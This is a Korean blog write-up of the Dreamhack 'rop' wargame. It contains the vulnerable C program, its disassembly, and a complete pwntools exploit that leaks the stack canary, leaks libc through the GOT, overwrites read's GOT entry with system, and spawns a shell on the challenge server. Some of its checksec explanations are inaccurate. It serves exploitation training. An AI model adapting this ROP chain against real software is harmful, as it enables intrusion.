[Dreamhack Wargame] rop

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
5/39

rop.c

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

checksec 결과

  • Canary가 발견되었고, NX가 켜있어서 스택과 기타 맵이 랜덤 주소로 배치된다.

  • Partial RELRO이므로 스택에서 쉘을 실행할 수 없어, GOT overwrite이나 Onegadget을 사용해야 할 것 같다.

exploit 설계

  1. 첫번째 구간에서 leaks canary로 카나리 값을 구한다.

  2. write(1, read\_got, ...); -> read(0, read, ...); -> read("/bin/sh");

  3. 재료 구하기

read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

pop_rdi, pop_rsi_r15, ret은 ROPgadget으로 구한다.

1. Canary leak

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:     push   rbp
   0x00000000004006f8 <+1>:     mov    rbp,rsp
   0x00000000004006fb <+4>:     sub    rsp,0x40
   0x00000000004006ff <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:    xor    eax,eax
   0x000000000040070e <+23>:    mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:    mov    ecx,0x0
   0x000000000040071a <+35>:    mov    edx,0x2
   0x000000000040071f <+40>:    mov    esi,0x0
   0x0000000000400724 <+45>:    mov    rdi,rax
   0x0000000000400727 <+48>:    call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:    mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:    mov    ecx,0x0
   0x0000000000400738 <+65>:    mov    edx,0x2
   0x000000000040073d <+70>:    mov    esi,0x0
   0x0000000000400742 <+75>:    mov    rdi,rax
   0x0000000000400745 <+78>:    call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:    mov    edi,0x400874
   0x000000000040074f <+88>:    call   0x4005b0 <puts@plt>
   0x0000000000400754 <+93>:    mov    edx,0x5
   0x0000000000400759 <+98>:    mov    esi,0x400884
   0x000000000040075e <+103>:   mov    edi,0x1
   0x0000000000400763 <+108>:   call   0x4005c0 <write@plt>
   0x0000000000400768 <+113>:   lea    rax,[rbp-0x40]
   0x000000000040076c <+117>:   mov    edx,0x100
   0x0000000000400771 <+122>:   mov    rsi,rax
   0x0000000000400774 <+125>:   mov    edi,0x0
   0x0000000000400779 <+130>:   call   0x4005f0 <read@plt>
   0x000000000040077e <+135>:   lea    rax,[rbp-0x40]
   0x0000000000400782 <+139>:   mov    rsi,rax
   0x0000000000400785 <+142>:   mov    edi,0x40088a
   0x000000000040078a <+147>:   mov    eax,0x0
   0x000000000040078f <+152>:   call   0x4005e0 <printf@plt>
   0x0000000000400794 <+157>:   mov    edi,0x400893
   0x0000000000400799 <+162>:   call   0x4005b0 <puts@plt>
   0x000000000040079e <+167>:   mov    edx,0x5
   0x00000000004007a3 <+172>:   mov    esi,0x400884
   0x00000000004007a8 <+177>:   mov    edi,0x1
   0x00000000004007ad <+182>:   call   0x4005c0 <write@plt>
   0x00000000004007b2 <+187>:   lea    rax,[rbp-0x40]
   0x00000000004007b6 <+191>:   mov    edx,0x100
   0x00000000004007bb <+196>:   mov    rsi,rax
   0x00000000004007be <+199>:   mov    edi,0x0
   0x00000000004007c3 <+204>:   call   0x4005f0 <read@plt>
   0x00000000004007c8 <+209>:   mov    eax,0x0
   0x00000000004007cd <+214>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d1 <+218>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004007da <+227>:   je     0x4007e1 <main+234>
   0x00000000004007dc <+229>:   call   0x4005d0 <__stack_chk_fail@plt>
   0x00000000004007e1 <+234>:   leave  
   0x00000000004007e2 <+235>:   ret    
End of assembler dump.

main을 디스어셈블해보면 buf의 주소가 [rbp-0x40]임을 알 수 있다. main+229에서 <__stack_chk_fail@plt>의 인자로 [rbp-0x8]이 들어가는 것을 보아 Canary의 주소는 [rbp-0x8]이다.

따라서 처음 buf를 b'A'를 0x39바이트만큼 send한다. (Canary의 마지막 부분 NULL을 덮음)

payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))

buf를 입력받고 buf를 print하는 과정에서 카나리까지 읽게 되므로 Canary를 leak할 수 있다.

2. ROP chaining

Canary를 위에서 구했으니 이를 이용해 ROP chaining을 한다.

  1. write(1, read_got, ...); 으로 read의 실제 주소를 구해 libc base를 찾는다.

  2. libc base를 구했으니 라이브러리에서의 함수들의 실제 주소를 구할 수 있다. 따라서 system 함수의 주소를 구한다.

  3. read(1, read_got, ...);system함수의 주소를 보내 read_got을 system 함수 주소로 overwrite한다.

  4. read("/bin/sh"); 으로 system("/bin/sh"); 를 실행한다. read_gotsystem이므로 read가 아닌 system이 실행된다.

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh\x00") -> system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)

p.sendafter(b'Buf: ', payload)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')

payload로 이렇게 write(1, read\_got, ..) -> read(0, read\_got, ...) -> read("/bin/sh")를 보내면

read(0, read\_got, ...)에서 내가 값을 주기를 기다린다.

따라서 payload를 보내고

  1. writeread 함수의 주소를 알아내 libc basesystem을 찾고

  2. readsystem 주소를 보내고

  3. read->system을 자동 실행하게 하면 된다.

이 때 "/bin/sh"는 우리가 직접 system 함수 주소를 보낼 때 뒤에 같이 보낸다. 그러면 "/bin/sh\x00"의 주소가 read\_got+8일 것이다!

최종 exploit.py

from pwn import *

context.log_level = 'debug'
p = remote('host3.dreamhack.games', 22426)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh\x00") -> system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)

p.sendafter(b'Buf: ', payload)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

0개의 댓글